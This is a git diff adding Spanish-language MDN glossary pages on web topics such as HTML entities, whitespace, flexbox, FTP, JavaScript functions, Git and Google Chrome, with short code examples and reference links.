+<p>Algunos caracteres son reservados para uso en HTML, es decir que no pueden utilizarse sin que el navegador los interprete como parte del código HTML. Por ejemplo, al utilizar el simbolo para "menor a" (<code>&lt;</code>), el navegador interpretara cualquier texto que siga como parte de una <a href="/es/docs/Glossary/Tag">etiqueta</a>.</p>
+
+<p>Para utilizar estos caracteres como texto, deben reemplazarse por la entidad que les corresponda, a saber:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracter</th>
+   <th scope="col">Entitdad</th>
+   <th scope="col">Nota</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+   <td>Interpretado como el comienzo de una entidad HTML.</td>
+  </tr>
+  <tr>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+   <td>Interpretado como la apertura de una <a href="/es/docs/Glossary/Tag">etiqueta</a>.</td>
+  </tr>
+  <tr>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+   <td>Interpretado como el cierre de una <a href="/es/docs/Glossary/Tag">etiqueta</a>.</td>
+  </tr>
+  <tr>
+   <td>"</td>
+   <td><code>&amp;quot;</code></td>
+   <td>Interpretado como apertura o cierre del valor de un  <a href="/es/docs/Glossary/Atributo">atributo</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references">Lista oficial de entidades HTML [en-US]</a></li>
+</ul>
diff --git a/files/es/glossary/espacio_en_blanco/index.html b/files/es/glossary/espacio_en_blanco/index.html
new file mode 100644
index 0000000000..db6014deae
--- /dev/null
+++ b/files/es/glossary/espacio_en_blanco/index.html
@@ -0,0 +1,45 @@
+---
+title: Espacio en blanco
+slug: Glossary/Espacio_en_blanco
+tags:
+  - Glosario
+  - Gramática léxica
+  - espacioenblanco
+translation_of: Glossary/Whitespace
+---
+<p><span class="seoSummary">El <strong>espacio en blanco</strong> es un conjunto de {{Glossary("Caracter", "caracteres")}} que se utiliza para mostrar espacios horizontales o verticales entre otros caracteres. A menudo se utilizan para separar fragmentos en {{Glossary("HTML")}}, {{Glossary("CSS")}}, {{Glossary("JavaScript")}} y otros lenguajes informáticos.</span>Los caracteres de espacio en blanco y su uso varía de un lenguaje a otro.</p>
+
+<h2 id="En_HTML">En HTML</h2>
+
+<p>La <a href="https://html.spec.whatwg.org/"><em>HTML Living Standard</em></a> especifica 5 caracteres ASCII como espacio en blanco: <code>U+0009</code> TAB, <code>U+000A</code> LF, <code>U+000C</code> FF, <code>U+000D</code> CR y <code>U+0020</code> ESPACIO. En forma de texto, se tratan como caracteres de espacio normal y los espacios en blanco secuenciales se contraen como un solo espacio en muchos casos (este comportamiento se puede cambiar mediante la propiedad CSS {{cssxref("white-space")}}. También se utilizan como separadores del nombre de un elemento y sus parámetros, nombres de clases, etc.</p>
+
+<h2 id="En_JavaScript">En JavaScript</h2>
+
+<p>La <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-white-space">especificación del lenguaje ECMAScript® 2015</a> establece varios puntos de código Unicode como espacio en blanco: <code>U+0009</code> CARACTERES de TABULACIÓN &lt;TAB&gt;, <code>U+000B</code> TABULACIÓN DE LÍNEA &lt;VT&gt;, <code>U+000C</code> FORM FEED &lt;FF&gt;, <code>U+0020</code> ESPACIO &lt;SP&gt;, <code>U+00A0</code> ESPACIO SIN ROTURA &lt;NBSP&gt;, <code>U+FEFF</code> ANCHO CERO NO -BREAK SPACE &lt;ZWNBSP&gt; y otra categoría “Zs” Cualquier otro punto de código Unicode “Separador, espacio” &lt;USP&gt;. Estos caracteres suelen ser innecesarios para la funcionalidad del código.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>Especificaciones
+  <ol>
+   <li><a href="https://infra.spec.whatwg.org/#ascii-whitespace">Espacio en blanco ASCII</a></li>
+   <li><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-white-space">Especificación del lenguaje ECMAScript® 2015</a></li>
+  </ol>
+ </li>
+ <li>Referencias
+  <ol>
+   <li><a href="/es/docs/Web/API/Document_Object_Model/Whitespace">Cómo se manejan los espacios en blanco mediante HTML, CSS y el DOM</a></li>
+   <li>{{cssxref("white-space")}}</li>
+  </ol>
+ </li>
+ <li>Artículos de Wikipedia
+  <ol>
+   <li>{{interwiki("wikipedia", "El caracter de espacio en blanco")}}</li>
+  </ol>
+ </li>
+ <li><a href="/es/docs/Glossary">Glosario</a>
+  <ol>
+   <li>{{Glossary("Character", "Caracter")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/estructura_de_datos/index.html b/files/es/glossary/estructura_de_datos/index.html
new file mode 100644
index 0000000000..d01f1b0ac8
--- /dev/null
+++ b/files/es/glossary/estructura_de_datos/index.html
@@ -0,0 +1,18 @@
+---
+title: Estructura de datos
+slug: Glossary/Estructura_de_datos
+tags:
+  - Codificación
+  - Estructura de datos
+  - Glosario
+translation_of: Glossary/Data_structure
+---
+<p><strong>Estructura de datos</strong> es una forma particular de organizar datos para que puedan ser usados eficientemente.</p>
+
+<h2 id="Aprende_másEdit">Aprende más<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Glossary/Accessibility$edit#Learn_more" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<h3 class="highlight-spanned" id="Conocimiento_general"><span class="highlight-span">Conocimiento general</span></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Estructura_de_datos", "Estructura de datos")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/event/index.html b/files/es/glossary/event/index.html
new file mode 100644
index 0000000000..74bb4eb288
--- /dev/null
+++ b/files/es/glossary/event/index.html
@@ -0,0 +1,24 @@
+---
+title: Evento
+slug: Glossary/event
+tags:
+  - CodingScripting
+  - Glosario
+translation_of: Glossary/event
+---
+<p>Los eventos son sucesos generados por elementos del <a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM">DOM</a>, que pueden ser manipulados por un código Javascript</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/API/Event">Documentoación de eventos en MDN</a></li>
+</ul>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/DOM-Level-2-Events/events.html">Web oficial</a></li>
+ <li>{{Interwiki("wikipedia", "DOM Events")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/flex/index.html b/files/es/glossary/flex/index.html
new file mode 100644
index 0000000000..f2e4937f6f
--- /dev/null
+++ b/files/es/glossary/flex/index.html
@@ -0,0 +1,46 @@
+---
+title: Flex
+slug: Glossary/Flex
+translation_of: Glossary/Flex
+---
+<p>flex es una nueva herramienta agregada a la propiedad CSS {{cssxref ("display")}}. Junto con inline-flex, hace que el elemento al que se aplica se convierta en un {{glossary("flex container")}}, y los hijos del elemento se conviertan cada uno en un {{glossary("flex item")}}.</p>
+
+<p>Luego, los elementos participan en el diseño flexible y se pueden aplicar todas las propiedades definidas en el módulo de diseño de caja flexible CSS (CSS Flexible Box).<br>
+ <br>
+ La propiedad flex es una abreviatura de las propiedades flexbox flex-grow, flex-shrink y flex-base.<br>
+ <br>
+ Además, &lt;flex&gt; puede referirse a una longitud flexible en CSS Grid Layout.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Propiedades_de_referencia">Propiedades de referencia</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="Para_más_información">Para más información</h3>
+
+<ul>
+ <li><em><a href="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout Module Level 1 Specification</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of flexbox</a></em></li>
+</ul>
diff --git a/files/es/glossary/flex_container/index.html b/files/es/glossary/flex_container/index.html
new file mode 100644
index 0000000000..6ddaba2b7b
--- /dev/null
+++ b/files/es/glossary/flex_container/index.html
@@ -0,0 +1,32 @@
+---
+title: Flex Container
+slug: Glossary/Flex_Container
+translation_of: Glossary/Flex_Container
+---
+<p>Una plantilla con {{glossary("flexbox")}} puede ser definida usando los valores <code>flex</code> o <code>inline-flex</code> en las propiedades de <code>display</code>. Este elemento es un <strong> contenedor flex</strong>, y cada uno de los contenedores que heredan propiedades de este, son conocidos como {{glossary("flex item")}}.</p>
+
+<p>El valor asignado a la variable <code>flex</code> ocasiona que este tipo de elementos sean un bloque de elementos del tipo (Flex Container), y la variable <code>inline-flex</code> genera un Contenedor Flex de nivel Inline (Interno. Estos Valores crean un Contexto de formato Flex para los elementos que es similar a un bloque flotante no introducido en el contenedor, y los margenes del contenedor no chocaran con otros items.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Property_reference">Property reference</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+</div>
+
+<h3 id="Further_reading">Further reading</h3>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+</ul>
diff --git a/files/es/glossary/flexbox/index.html b/files/es/glossary/flexbox/index.html
new file mode 100644
index 0000000000..1450b64d0a
--- /dev/null
+++ b/files/es/glossary/flexbox/index.html
@@ -0,0 +1,44 @@
+---
+title: Flexbox
+slug: Glossary/Flexbox
+translation_of: Glossary/Flexbox
+---
+<p>Flexbox es como se llama comúnmente a <a href="https://www.w3.org/TR/css-flexbox-1/">Módulo de diseño de caja flexible CSS</a>, un modelo de diseño para mostrar elementos en una sola dimensión, como una fila o como una columna.</p>
+
+<p>En la especificación, flexbox se describe como un modelo de diseño para la interfaz de usuario. La característica clave de Flexbox es el hecho de que los elementos en un diseño flexible pueden crecer y reducirse. El espacio se puede asignar a los mismos elementos, o distribuidos entre o alrededor de los elementos.</p>
+
+<p>Flexbox también permite la alineación de los elementos en el eje principal o transversal, proporcionando así un alto nivel de control sobre el tamaño y la alineación de un grupo de elementos.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Referencia_de_propiedad">Referencia de propiedad</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="Otras_lecturas">Otras lecturas</h3>
+
+<ul>
+ <li><em><a href="https://www.w3.org/TR/css-flexbox-1/">CSS: Especificaciones del módulo de diseño de caja flexible Nivel 1</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Conceptos básicos de Flexbox</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relación de flexbox con otros métodos de diseño</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Alinear elementos en un contenedor flex</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordenar elementos flex</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlando la proporción de elementos flex a lo largo del eje principal</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Dominar el envoltorio de elementos flex</a></em></li>
+ <li>CSS: Guía de Flexbox - <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Casos de uso típicos de flexbox</a></em></li>
+</ul>
diff --git a/files/es/glossary/fps/index.html b/files/es/glossary/fps/index.html
new file mode 100644
index 0000000000..16d431f82b
--- /dev/null
+++ b/files/es/glossary/fps/index.html
@@ -0,0 +1,10 @@
+---
+title: frame rate (FPS)
+slug: Glossary/FPS
+translation_of: Glossary/FPS
+---
+<p>Un<strong> cuadro por segundo</strong> es la velocidad en la cual el navegador web, es capaz de recalcular la disposición y dibujar el contenido de la pantalla.</p>
+
+<p><strong>FPS (frames per second)</strong>, refiere a la cantidad de cuadros que pueden ser redibujados en un segundo. El ideal de esta metrica para un sitio web es de <strong>60fps</strong></p>
+
+<p>Generalmente, las peliculas cinematograficas tienen un velocidad de 24fps. Esto se debe a que utilizan otras tecnicas para lograr la ilusion de vida, conocidas como <em>motion blurs </em>(desenfoques de movimiento). Pero cuando una pantalla de computadora se mueve.</p>
diff --git a/files/es/glossary/ftp/index.html b/files/es/glossary/ftp/index.html
new file mode 100644
index 0000000000..0ef847393e
--- /dev/null
+++ b/files/es/glossary/ftp/index.html
@@ -0,0 +1,15 @@
+---
+title: FTP
+slug: Glossary/FTP
+translation_of: Glossary/FTP
+---
+<p>FTP (del inglés <em>File Transfer Protocol</em>, Protocolo de transferencia de archivos) fue el <a href="/es/docs/Glossary/Protocol">protocolo</a> estándar durante muchos años para transferir archivos entre equipos a través de Internet. Sin embargo, cada vez más los equipos y las cuentas de alojamiento no permiten el FTP y en su lugar dependen de un sistema de control de versiones como Git. Se encuentra todavía en funcionamiento en las cuentas de alojamiento más antiguas, pero no es exagerado decir que el FTP ya no es considerada la mejor práctica.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Protocolo_de_transferencia_de_archivos">FTP</a> en Wikipedia</li>
+ <li><a href="/en-US/Learn/Upload_files_to_a_web_server">Beginner's guide to uploading files via FTP</a></li>
+</ul>
diff --git a/files/es/glossary/funcion_de_primera_clase/index.html b/files/es/glossary/funcion_de_primera_clase/index.html
new file mode 100644
index 0000000000..311f068470
--- /dev/null
+++ b/files/es/glossary/funcion_de_primera_clase/index.html
@@ -0,0 +1,111 @@
+---
+title: Funcion de primera clase
+slug: Glossary/Funcion_de_primera_clase
+translation_of: Glossary/First-class_Function
+---
+<p>Un lenguaje de programación se dice que tiene <strong>Funciones de primera clase </strong>cuando las funciones en ese lenguaje son tratadas como cualquier otra variable. Por ejemplo, en ese lenguaje, una función puede ser pasada como argumento a otras funciones, puede ser retornada por otra función y puede ser asignada a una variable.</p>
+
+<h2 id="Ejemplo_Asignar_función_a_una_variable">Ejemplo | Asignar función a una variable</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const foo = function() {
+   console.log("foobar");
+}
+// Invocación usando una variable
+foo();
+</pre>
+
+<p>Asignamos una <strong>Función Anónima</strong> a una {{glossary("Variable")}}, la cual utilizamos para invocar la función añadiendo paréntesis <code>()</code> al final.</p>
+
+<div class="note">
+<p><strong>Aunque la función no sea anónima (función nombrada),</strong> se puede utilizar la variable para invocarla. Nombrar las funciones puede ser útil cuando estamos depurando el código. <em>Pero no afectará como invocamos a la función.</em></p>
+</div>
+
+<h2 id="Ejemplo_Pasar_la_función_como_argumento">Ejemplo | Pasar la función como argumento</h2>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">function diHola() {
+   return "Hola ";
+}
+function saludar(saludo, nombre) {
+  console.log(saludo() + nombre);
+}
+// Pasamos `diHola` como argumento de la función `saludar`
+saludar(diHola, "JavaScript!");
+</pre>
+
+<p>Pasamos nuestra función <code>diHola()</code> como argumento de la función <code>saludar()</code>, esto explica como tratamos la función como un <strong>valor</strong>.</p>
+
+<div class="note">
+<p>Una función que pasamos como argumento a otra función, se llama <strong>{{glossary("Callback function")}}</strong>. <em><code>diHola</code> es una función Callback.</em></p>
+</div>
+
+<h2 id="Ejemplo_Devolver_una_función">Ejemplo | Devolver una función</h2>
+
+<h3 id="JavaScript_3">JavaScript</h3>
+
+<pre class="brush: js">function diHola() {
+   return function() {
+      console.log("¡Hola!");
+   }
+}
+</pre>
+
+<p>En este ejemplo; Necesitamos devolver una función desde otra función - <em>Podemos devolver una función porque JavaScript trata la función como un <strong>value</strong>.</em></p>
+
+<div class="note">
+<p>Una función que devuelve una función se llama <strong>Higher-Order Function</strong>.</p>
+</div>
+
+<p>Volviendo al ejemplo; Ahora, necesitamos invocar la función <code>diHola</code> y su  <code>Función Anónima</code> devuelta. Para ello, tenemos dos maneras:</p>
+
+<h3 id="1-_Usando_una_variable">1- Usando una variable</h3>
+
+<pre class="brush: js">const diHola = function() {
+   return function() {
+      console.log("¡Hola!");
+   }
+}
+const miFuncion = diHola();
+miFuncion();
+</pre>
+
+<p>De esta manera, devolverá el mensaje <code>¡Hola!</code>.</p>
+
+<div class="note">
+<p>Debes usar otra variable para que devuelve el mensaje. Si invocas <code>diHola</code> directamente, devolvera la función en si misma <strong>sin invocar a la función devuelta</strong>.</p>
+</div>
+
+<h3 id="2-_Usando_paréntesis_doble">2- Usando paréntesis doble</h3>
+
+<pre class="brush: js">function diHola() {
+   return function() {
+      console.log("¡Hola!");
+   }
+}
+diHola()();
+</pre>
+
+<p>Usamos parétesis dobre <code>()()</code> para invocar también a la función retornada.</p>
+
+<ul>
+</ul>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>{{Interwiki("wikipedia", "First-class_function", "First-class functions")}} on Wikipedia</li>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+  <ul>
+   <li>{{glossary("Callback function")}}</li>
+   <li>{{glossary("Function")}}</li>
+   <li>{{glossary("Variable")}}</li>
+  </ul>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/función/index.html b/files/es/glossary/función/index.html
new file mode 100644
index 0000000000..f67d9e90c8
--- /dev/null
+++ b/files/es/glossary/función/index.html
@@ -0,0 +1,91 @@
+---
+title: Función
+slug: Glossary/Función
+tags:
+  - CodingScripting
+  - Glosario
+  - IIFE
+  - JavaScript
+translation_of: Glossary/Function
+---
+<p>Una <strong>función</strong> es un fragmento de código que puede ser llamado por otro código o por sí mismo, o por una {{Glossary("variable")}} que haga referencia a la función. Cuando se llama a una función, los {{Glossary("Argument", "argumentos")}} se pasan a la función como entrada, y la función puede devolver opcionalmente una salida. Una función en {{glossary("JavaScript")}} es también un {{glossary("object", "objeto")}}.</p>
+
+<p>El nombre de la función es un {{Glossary("identifier", "identificador")}} declarado como parte de una declaración de función o expresión de función. El {{Glossary("scope", "ámbito")}} de la función depende de si el nombre de la función es una declaración o una expresión.</p>
+
+<h3 id="Diferentes_tipos_de_funciones">Diferentes tipos de funciones</h3>
+
+<p>Una <strong>función anónima</strong> es una función que no tiene nombre:</p>
+
+<pre class="brush: js">function () {};
+// o se puede usar la anotación con flecha ECMAScript 2015
+() =&gt; {};
+</pre>
+
+<p> </p>
+
+<p>Una <strong>función nombrada</strong> es una función con nombre:</p>
+
+<pre class="brush: js">function foo() {};
+// o se puede usar la anotación con flecha ECMAScript 2015
+const foo = () =&gt; {};
+</pre>
+
+<p>Una <strong>función interna</strong> es una función que está dentro de otra función (<code>cuadrado</code> en este caso). Una <strong>función externa</strong> es una función que contiene a otra función (<code>sumarCuadrados</code> en este caso):</p>
+
+<pre class="brush: js">function sumarCuadradors(a,b) {
+   function cuadrado(x) {
+      return x * x;
+   }
+   return cuadrado(a) + cuadrado(b);
+};
+//Usando la anotación de flecha ECMAScript 2015
+const sumarCuadrados = (a,b) =&gt; {
+   const cuadrado = x =&gt; x*x;
+   return cuadrado(a) + cuadrado(b);
+};
+</pre>
+
+<p>Una <strong>función recursiva</strong> es una función que se llama a sí misma. Mira {{Glossary("Recursion", "recursión")}}.</p>
+
+<pre class="brush: js">function bucle(x) {
+   if (x &gt;= 10)
+      return;
+   bucle(x + 1);
+};
+//Usando la anotación de flecha ECMAScript 2015
+const bucle = x =&gt; {
+   if (x &gt;= 10)
+      return;
+   bucle(x + 1);
+};
+</pre>
+
+<p>Una <strong>expresión de una función que se invoca inmediatamente </strong>({{glossary("IIFE")}}, por sus siglas en inglés) es una función que se llama directamente después de que la función se haya cargado en el compilador del navegador. La forma de identificar un IIFE es ubicando el paréntesis izquierdo y derecho adicional al final de la declaración de la función.</p>
+
+<pre class="brush: js">// Error (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
+/*
+​function foo() {
+    console.log('Hello Foo');
+}();
+*/
+
+(function foo() {
+    console.log("Hello Foo");
+}());
+
+(function food() {
+    console.log("Hello Food");
+})();
+
+</pre>
+
+<p>Si desea obtener más información sobre las IIFE, consulte la siguiente página en Wikipedia: <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">Immediately Invoked Function Expression</a></p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions" title="en-US/docs/Web/JavaScript/Guide/Functions">Funciones</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Funciones de flecha</a></li>
+</ul>
diff --git a/files/es/glossary/gif/index.html b/files/es/glossary/gif/index.html
new file mode 100644
index 0000000000..323069f937
--- /dev/null
+++ b/files/es/glossary/gif/index.html
@@ -0,0 +1,19 @@
+---
+title: GIF
+slug: Glossary/gif
+tags:
+  - Animacion
+  - Composición
+  - Glosario
+  - Imagen
+translation_of: Glossary/gif
+---
+<p><strong>GIF</strong><em> </em>(<em><strong>G</strong>raphics <strong>I</strong>nterchange <strong>F</strong>ormat</em> en español <strong>Formato de Intercambio de Gráficos</strong>) es un formato de imagen con una baja compresión y se puede usar para animaciones. Un GIF usa hasta 8 bits por pixel y contiene un máximo de 256 colores con un rango de 24-bit.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia","GIF")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/git/index.html b/files/es/glossary/git/index.html
new file mode 100644
index 0000000000..5d6438da6d
--- /dev/null
+++ b/files/es/glossary/git/index.html
@@ -0,0 +1,18 @@
+---
+title: Git
+slug: Glossary/Git
+tags:
+  - Colaboración
+  - Glosario
+translation_of: Glossary/Git
+---
+<p><strong>Git </strong>es un software de control de versiones ({{Glossary("SCM", "SCV", 1)}}) distribuido, libre y de código abierto. Facilita el manejo de código fuente con equipos de desarrollo distribuidos. La principal diferencia con SCV previos es la habilidad para hacer operaciones comunes (branching, committing, etc.) en el equipo de desarrollo local, sin tener que modificar el repositorio master o tener de acceso de escritura a él. </p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://git-scm.com">Web oficial con documentación</a></li>
+ <li><a href="https://github.com/">GitHub</a>, un host gráfico de proyectos basado en Git</li>
+</ul>
diff --git a/files/es/glossary/google_chrome/index.html b/files/es/glossary/google_chrome/index.html
new file mode 100644
index 0000000000..4e13558570
--- /dev/null
+++ b/files/es/glossary/google_chrome/index.html
@@ -0,0 +1,126 @@
+---
+title: Google Chrome
+slug: Glossary/Google_Chrome
+tags:
+  - Chrome
+  - Chrome canary
+  - Chrome stable
+  - Chromium
+  - Glosario
+  - Navegador
+  - Web
+  - google
+  - google chrome
+translation_of: Glossary/Google_Chrome
+---
+<p><em>Google Chrome</em> es un <a href="/es/docs/Glossary/Browser">navegador</a> web gratuito desarrollado por Google. Está basado en el proyecto open source (código abierto / software libre)  <a href="http://www.chromium.org/" rel="external">Chromium</a>. Algunas de las principales diferencias se encuentran en <a href="https://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome">Chromium wiki</a>. El motor de diseño que utilizan ambos es una copia del motor <a href="/es/docs/Glossary/Blink">Blink</a> de <a href="/es/docs/Glossary/WebKit">WebKit</a>. Cabe señalar que en la versión de Chrome en iOS se utiliza WebKit y no Blink.</p>
+
+<h2 id="Para_saber_más..." style="line-height: 30px;">Para saber más...</h2>
+
+<h3 id="Cultura_general" style="line-height: 24px;">Cultura general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WebKit")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Para_usuarios_de_Chrome" style="line-height: 24px;">Para usuarios de Chrome</h3>
+
+<p>Si eres usuario de chrome te recomendamos:</p>
+
+<ul>
+ <li><a href="https://play.google.com/store/apps/details?id=com.android.chrome">Google Chrome para Android</a></li>
+ <li><a href="https://itunes.apple.com/es/app/chrome-web-browser-by-google/id535886823?mt=8">Google Chrome para IOS</a></li>
+ <li><a href="https://www.google.com/chrome/browser/desktop/index.html">Google Chrome versión de escritorio</a></li>
+</ul>
+
+<h3 id="Para_Desarrolladores_Web">Para Desarrolladores Web</h3>
+
+<p>Si deseas estar al día de las últimas funcionalidades que ofrece Chrome, te recomendamos instalar alguna de las versiones pre-estables (aún en desarrollo).</p>
+
+<p>Google publica actualizaciones frecuentemente y ha diseñado estas distribuciones para que funcionen codo con codo junto a tu versión "estable" de Chrome. Te recomendamos visitar <a href="https://blog.google/products/chrome/">Chrome Release Blog</a> para estar al tanto de las últimas novedades sobre la aplicación.</p>
+
+<p>También te recomendamos:</p>
+
+<ul>
+ <li><a href="https://play.google.com/store/apps/details?hl=es&amp;id=com.chrome.dev">Chrome Dev para Android</a></li>
+ <li><a href="https://www.google.es/chrome/browser/canary.html">Chrome Canary versión de escritorio</a></li>
+</ul>
+
+<div id="SL_balloon_obj" style="display: block;">
+<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%; display: none; opacity: 1;"> </div>
+
+<div id="SL_shadow_translation_result2" style="display: none;"> </div>
+
+<div id="SL_shadow_translator" style="display: none;">
+<div id="SL_planshet">
+<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;"> </div>
+
+<div id="SL_Bproviders">
+<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
+
+<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
+
+<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
+</div>
+
+<div id="SL_alert_bbl" style="display: none;">
+<div id="SLHKclose" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;"> </div>
+
+<div id="SL_alert_cont"> </div>
+</div>
+
